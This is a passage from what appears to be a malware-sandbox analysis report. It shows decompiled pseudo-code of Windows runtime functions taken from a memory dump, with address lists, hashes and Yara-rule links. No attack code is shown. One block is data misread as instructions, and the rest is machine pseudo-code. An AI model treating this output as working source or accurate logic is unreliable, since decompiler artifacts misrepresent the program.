							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L046BDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E046AB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E046AB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E046AE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E046AA890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x0466b171
0x0466b171
0x0466b171
0x0466b171
0x0466b171
0x0466b176
0x0466b17b
0x0466b180
0x0466b186
0x0466b18f
0x0466b198
0x0466b1a4
0x0466b1aa
0x046c4802
0x046c4802
0x046c4805
0x046c480c
0x046c480e
0x0466b1d1
0x0466b1d3
0x0466b1de
0x0466b1de
0x046c4817
0x046c481e
0x046c4820
0x046c4822
0x046c4822
0x046c4824
0x046c4824
0x046c482a
0x00000000
0x00000000
0x046c4835
0x046c483a
0x046c483d
0x046c483f
0x046c4842
0x046c4842
0x046c4842
0x046c4846
0x046c484c
0x046c484e
0x046c4851
0x046c4851
0x046c4853
0x046c4854
0x046c4854
0x046c4858
0x046c485a
0x046c485a
0x046c485d
0x046c485f
0x046c4861
0x046c4861
0x046c4866
0x046c486b
0x046c486e
0x046c4871
0x046c4876
0x046c4876
0x046c4878
0x046c487b
0x046c4884
0x046c4884
0x00000000
0x046c487d
0x046c487d
0x046c4882
0x046c4889
0x046c4889
0x046c488f
0x046c4891
0x046c48e0
0x046c48e2
0x046c48e4
0x046c48e4
0x046c48e7
0x046c48e7
0x046c48ed
0x046c48f4
0x046c48f6
0x046c4951
0x046c4951
0x046c4953
0x046c4953
0x046c4956
0x046c4956
0x046c4958
0x046c4959
0x046c4959
0x046c495d
0x046c495d
0x046c495f
0x046c495f
0x046c4965
0x046c4969
0x046c49ba
0x046c49ba
0x046c49c1
0x046c49c5
0x046c49cc
0x046c49d4
0x046c49d7
0x046c49da
0x046c49e4
0x046c49e5
0x046c49f3
0x046c4a02
0x00000000
0x046c4a02
0x046c4972
0x046c4974
0x00000000
0x00000000
0x046c4976
0x046c4979
0x046c4982
0x046c4983
0x046c4984
0x046c498b
0x046c498d
0x046c4991
0x046c4993
0x046c4999
0x046c499d
0x046c49a2
0x046c49a2
0x046c49a2
0x046c4999
0x046c49ac
0x00000000
0x046c49b3
0x046c48f8
0x046c48fe
0x00000000
0x00000000
0x00000000
0x046c48fe
0x046c4895
0x046c489c
0x046c48ad
0x046c48b2
0x046c48b5
0x046c48b7
0x046c48ba
0x046c48bc
0x046c48c6
0x046c48c6
0x046c48cb
0x046c48d1
0x046c48d4
0x046c48d8
0x046c48d8
0x00000000
0x046c48d8
0x046c48be
0x046c48c0
0x00000000
0x00000000
0x046c48c2
0x00000000
0x00000000
0x00000000
0x046c48c4
0x00000000
0x046c4882
0x046c487b
0x046c4904
0x046c4906
0x00000000
0x00000000
0x046c4908
0x046c490e
0x00000000
0x00000000
0x046c4910
0x046c4917
0x046c4917
0x00000000
0x046c4917
0x0466b1ba
0x046c47f9
0x046c47fc
0x00000000
0x00000000
0x00000000
0x046c47fc
0x0466b1c0
0x0466b1c0
0x0466b1c3
0x0466b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 046C48AD

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 5a33e9de6d3a3c5bc430897c0a632f1d465dbb7eff667006254ce4fe9a5637e7
Instruction ID: 7b12514bf554a102d62ea09a4f7ad44c70c70c8d9c0773b576f079051b9037f2
Opcode Fuzzy Hash: 5a33e9de6d3a3c5bc430897c0a632f1d465dbb7eff667006254ce4fe9a5637e7
Instruction Fuzzy Hash: 2151CF75D012698EEB30CF64C854BBEBBB0EF04714F1042ADD859AB381EB70A941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0468B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0468B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x475d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E04687D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E04738CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E046A9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E046AB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E046ACE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E04687D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E04738F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E046AAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x4758628; // 0x0
								_v68 = _t77;
								_t78 =  *0x475862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x4758628; // 0x0
							_t116 =  *0x475862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x0468b94c
0x0468b956
0x0468b95c
0x0468b95e
0x0468b964
0x0468b969
0x0468b96d
0x0468b96d
0x0468b970
0x0468b974
0x0468b97a
0x0468badf
0x0468badf
0x0468bae2
0x0468bae4
0x0468bae6
0x0468baf0
0x046d2cb8
0x0468baf6
0x0468baf6
0x0468baf6
0x0468bafd
0x0468bb1f
0x0468bb1f
0x0468baff
0x0468bb00
0x0468bb00
0x0468bb03
0x0468bb03
0x0468bacb
0x0468bacf
0x0468bad0
0x0468bad1
0x0468badc
0x0468badc
0x0468b980
0x0468b980
0x0468b988
0x0468b98b
0x0468b98d
0x0468b990
0x0468b993
0x0468b999
0x0468b99b
0x0468b9a1
0x0468b9a5
0x0468b9aa
0x0468b9b0
0x0468b9bb
0x0468b9c0
0x0468b9c3
0x0468b9ca
0x0468b9cc
0x0468b9cf
0x0468b9d3
0x0468b9d7
0x0468ba94
0x0468ba94
0x0468ba98
0x0468baa3
0x046d2ccb
0x0468baa9
0x0468baa9
0x0468baa9
0x0468bab1
0x046d2cd5
0x046d2cdd
0x046d2cdd
0x0468babb
0x0468babc
0x0468bac2
0x0468bac3
0x0468bac3
0x0468bac6
0x00000000
0x0468b9dd
0x0468b9dd
0x0468b9e7
0x0468b9e7
0x0468b9ec
0x0468b9ec
0x0468b9f1
0x0468b9f5
0x0468b9fa
0x0468ba00
0x0468ba0c
0x0468ba10
0x0468ba10
0x0468ba12
0x0468ba18
0x00000000
0x00000000
0x0468bb26
0x0468bb26
0x0468ba1e
0x0468ba1e
0x0468ba23
0x0468ba25
0x0468ba2c
0x0468ba30
0x0468ba35
0x0468ba35
0x0468ba41
0x0468ba46
0x0468ba4c
0x0468ba50
0x0468ba54
0x0468ba6a
0x0468ba6e
0x0468ba70
0x0468ba74
0x0468ba78
0x0468ba7a
0x0468ba7c
0x0468ba8e
0x0468ba90
0x0468ba92
0x0468bb14
0x0468bb14
0x0468bb16
0x0468bb16
0x00000000
0x0468ba7c
0x0468bb0a
0x0468bb0d
0x00000000
0x00000000
0x00000000
0x0468bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0468B9A5

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: d7da888f796b5019120ff3302162e40fbde5c890b8794da46139adaafec4f0a1
Instruction ID: c3ca4674ee879931e3b0f2164baf7ef91390e6816019230aeda26d86c1101da3
Opcode Fuzzy Hash: d7da888f796b5019120ff3302162e40fbde5c890b8794da46139adaafec4f0a1
Instruction Fuzzy Hash: 72515871A08741CFC720EF28C49092ABBE5FB88A14F158A6EF59587355EB71FC44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04692581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E04692581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				void* _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t239;
				signed int _t243;
				signed int _t256;
				signed int _t258;
				intOrPtr _t260;
				signed int _t263;
				signed int _t270;
				signed int _t273;
				signed int _t281;
				signed int _t283;
				intOrPtr _t288;
				signed int _t290;
				signed int _t292;
				void* _t293;
				signed int _t294;
				unsigned int _t297;
				signed int _t301;
				void* _t302;
				signed int _t303;
				signed int _t307;
				intOrPtr _t319;
				signed int _t328;
				signed int _t330;
				signed int _t331;
				signed int _t335;
				signed int _t336;
				signed int _t338;
				signed int _t340;
				signed int _t343;
				void* _t344;
				void* _t346;

				_t340 = _t343;
				_t344 = _t343 - 0x4c;
				_v8 =  *0x475d360 ^ _t340;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t335 = 0x475b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t297 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t346 = (_v24 >> 0x0000001c & 0x00000003) - 1;
				_t288 = 0x48;
				_t317 = 0 | _t346 == 0x00000000;
				_t328 = 0;
				_v37 = _t346 == 0;
				if(_v48 <= 0) {
					L16:
					_t45 = _t288 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t336 = 0xc0000106;
						goto L32;
					} else {
						_t335 = L04684620(_t297,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
						_v52 = _t335;
						__eflags = _t335;
						if(_t335 == 0) {
							_t336 = 0xc0000017;
							goto L32;
						} else {
							 *(_t335 + 0x44) =  *(_t335 + 0x44) & 0x00000000;
							_t50 = _t335 + 0x48; // 0x48
							_t330 = _t50;
							_t317 = _v32;
							 *((intOrPtr*)(_t335 + 0x3c)) = _t288;
							_t290 = 0;
							 *((short*)(_t335 + 0x30)) = _v48;
							__eflags = _t317;
							if(_t317 != 0) {
								 *(_t335 + 0x18) = _t330;
								__eflags = _t317 - 0x4758478;
								 *_t335 = ((0 | _t317 == 0x04758478) - 0x00000001 & 0xfffffffb) + 7;
								E046AF3E0(_t330,  *((intOrPtr*)(_t317 + 4)),  *_t317 & 0x0000ffff);
								_t317 = _v32;
								_t344 = _t344 + 0xc;
								_t290 = 1;
								__eflags = _a8;
								_t330 = _t330 + (( *_t317 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t281 = E046F39F2(_t330);
									_t317 = _v32;
									_t330 = _t281;
								}
							}
							_t301 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t336 = _v68;
								__eflags = 0;
								 *((short*)(_t330 - 2)) = 0;
								goto L32;
							} else {
								_t292 = _t335 + _t290 * 4;
								_v56 = _t292;
								do {
									__eflags = _t317;
									if(_t317 != 0) {
										_t239 =  *(_v60 + _t301 * 4);
										__eflags = _t239;
										if(_t239 == 0) {
											goto L30;
										} else {
											__eflags = _t239 == 5;
											if(_t239 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t292 =  *(_v60 + _t301 * 4);
										 *(_t292 + 0x18) = _t330;
										_t243 =  *(_v60 + _t301 * 4);
										__eflags = _t243 - 8;
										if(_t243 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t243 * 4 +  &M04692959))) {
												case 0:
													__ax =  *0x4758488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E046AF3E0(__edi,  *0x475848c, __ax & 0x0000ffff);
														__eax =  *0x4758488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E046AF3E0(_t330, _v80, _v64);
													_t276 = _v64;
													goto L26;
												case 2:
													 *0x4758480 & 0x0000ffff = E046AF3E0(__edi,  *0x4758484,  *0x4758480 & 0x0000ffff);
													__eax =  *0x4758480 & 0x0000ffff;
													__eax = ( *0x4758480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E046AF3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E046AF3E0(_t330, _v76, _v36);
														_t276 = _v36;
													}
													L26:
													_t344 = _t344 + 0xc;
													_t330 = _t330 + (_t276 >> 1) * 2 + 2;
													__eflags = _t330;
													L27:
													_push(0x3b);
													_pop(_t278);
													 *((short*)(_t330 - 2)) = _t278;
													goto L28;
												case 6:
													__ebx =  *0x475575c;
													__eflags = __ebx - 0x475575c;
													if(__ebx != 0x475575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E046AF3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x475575c;
														} while (__ebx != 0x475575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x4758478 & 0x0000ffff = E046AF3E0(__edi,  *0x475847c,  *0x4758478 & 0x0000ffff);
													__eax =  *0x4758478 & 0x0000ffff;
													__eax = ( *0x4758478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E046F39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x4756e58 & 0x0000ffff = E046AF3E0(__edi,  *0x4756e5c,  *0x4756e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x4756e58 & 0x0000ffff;
													__eax = ( *0x4756e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t301 = _v16;
													_t317 = _v32;
													L29:
													_t292 = _t292 + 4;
													__eflags = _t292;
													_v56 = _t292;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t301 = _t301 + 1;
									_v16 = _t301;
									__eflags = _t301 - _v48;
								} while (_t301 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t283 =  *(_v60 + _t328 * 4);
						if(_t283 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t283 * 4 +  &M04692935))) {
							case 0:
								__ax =  *0x4758488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t317 =  &_v64;
								_v80 = E04692E3E(0,  &_v64);
								_t288 = _t288 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x4758480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x4758480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E0467EEF0(0x47579a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E0467EB70(__ecx, 0x47579a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t217 = _v72;
											__eflags = _t217;
											if(_t217 != 0) {
												L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t217);
											}
											_t218 = _v52;
											__eflags = _t218;
											if(_t218 != 0) {
												__eflags = _t336;
												if(_t336 < 0) {
													L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t218);
													_t218 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t297 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x4757b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E0467EB70(__ecx, 0x47579a0);
										__eax = _v52;
										L36:
										_pop(_t329);
										_pop(_t337);
										__eflags = _v8 ^ _t340;
										_pop(_t289);
										return E046AB640(_t218, _t289, _v8 ^ _t340, _t317, _t329, _t337);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t284 = _v56;
								if(_v56 != 0) {
									_t317 =  &_v36;
									_t286 = E04692E3E(_t284,  &_v36);
									_t297 = _v36;
									_v76 = _t286;
								}
								if(_t297 == 0) {
									goto L44;
								} else {
									_t288 = _t288 + 2 + _t297;
								}
								goto L14;
							case 6:
								__eax =  *0x4755764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x4758478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x4758478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x4756e58 & 0x0000ffff;
								__eax = ( *0x4756e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t328 = _t328 + 1;
								if(_t328 >= _v48) {
									goto L16;
								} else {
									_t317 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t302 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("daa");
					 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t302 + 4)) - _t302;
					_pop(_t293);
					asm("insd");
					 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t302 + 4)) - _t302;
					 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t302 + 4)) - _t340;
					 *(0x1f0469ba +  *(_t335 + _t340) * 0x46046926 ^ 0x02046d5b) =  *(0x1f0469ba +  *(_t335 + _t340) * 0x46046926 ^ 0x02046d5b) - 0x69;
					asm("daa");
					 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t302 + 4)) - _t302;
					asm("daa");
					 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t302 + 4)) - _t302;
					asm("insd");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x473ff00);
					E046BD08C(_t293, _t330, _t335);
					_v44 =  *[fs:0x18];
					_t331 = 0;
					 *_a24 = 0;
					_t294 = _a12;
					__eflags = _t294;
					if(_t294 == 0) {
						_t256 = 0xc0000100;
					} else {
						_v8 = 0;
						_t338 = 0xc0000100;
						_v52 = 0xc0000100;
						_t258 = 4;
						while(1) {
							_v40 = _t258;
							__eflags = _t258;
							if(_t258 == 0) {
								break;
							}
							_t307 = _t258 * 0xc;
							_v48 = _t307;
							__eflags = _t294 -  *((intOrPtr*)(_t307 + 0x4641664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t273 = E046AE5C0(_a8,  *((intOrPtr*)(_t307 + 0x4641668)), _t294);
									_t344 = _t344 + 0xc;
									__eflags = _t273;
									if(__eflags == 0) {
										_t338 = E046E51BE(_t294,  *((intOrPtr*)(_v48 + 0x464166c)), _a16, _t331, _t338, __eflags, _a20, _a24);
										_v52 = _t338;
										break;
									} else {
										_t258 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t258 = _t258 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t338;
						__eflags = _t338;
						if(_t338 < 0) {
							__eflags = _t338 - 0xc0000100;
							if(_t338 == 0xc0000100) {
								_t303 = _a4;
								__eflags = _t303;
								if(_t303 != 0) {
									_v36 = _t303;
									__eflags =  *_t303 - _t331;
									if( *_t303 == _t331) {
										_t338 = 0xc0000100;
										goto L76;
									} else {
										_t319 =  *((intOrPtr*)(_v44 + 0x30));
										_t260 =  *((intOrPtr*)(_t319 + 0x10));
										__eflags =  *((intOrPtr*)(_t260 + 0x48)) - _t303;
										if( *((intOrPtr*)(_t260 + 0x48)) == _t303) {
											__eflags =  *(_t319 + 0x1c);
											if( *(_t319 + 0x1c) == 0) {
												L106:
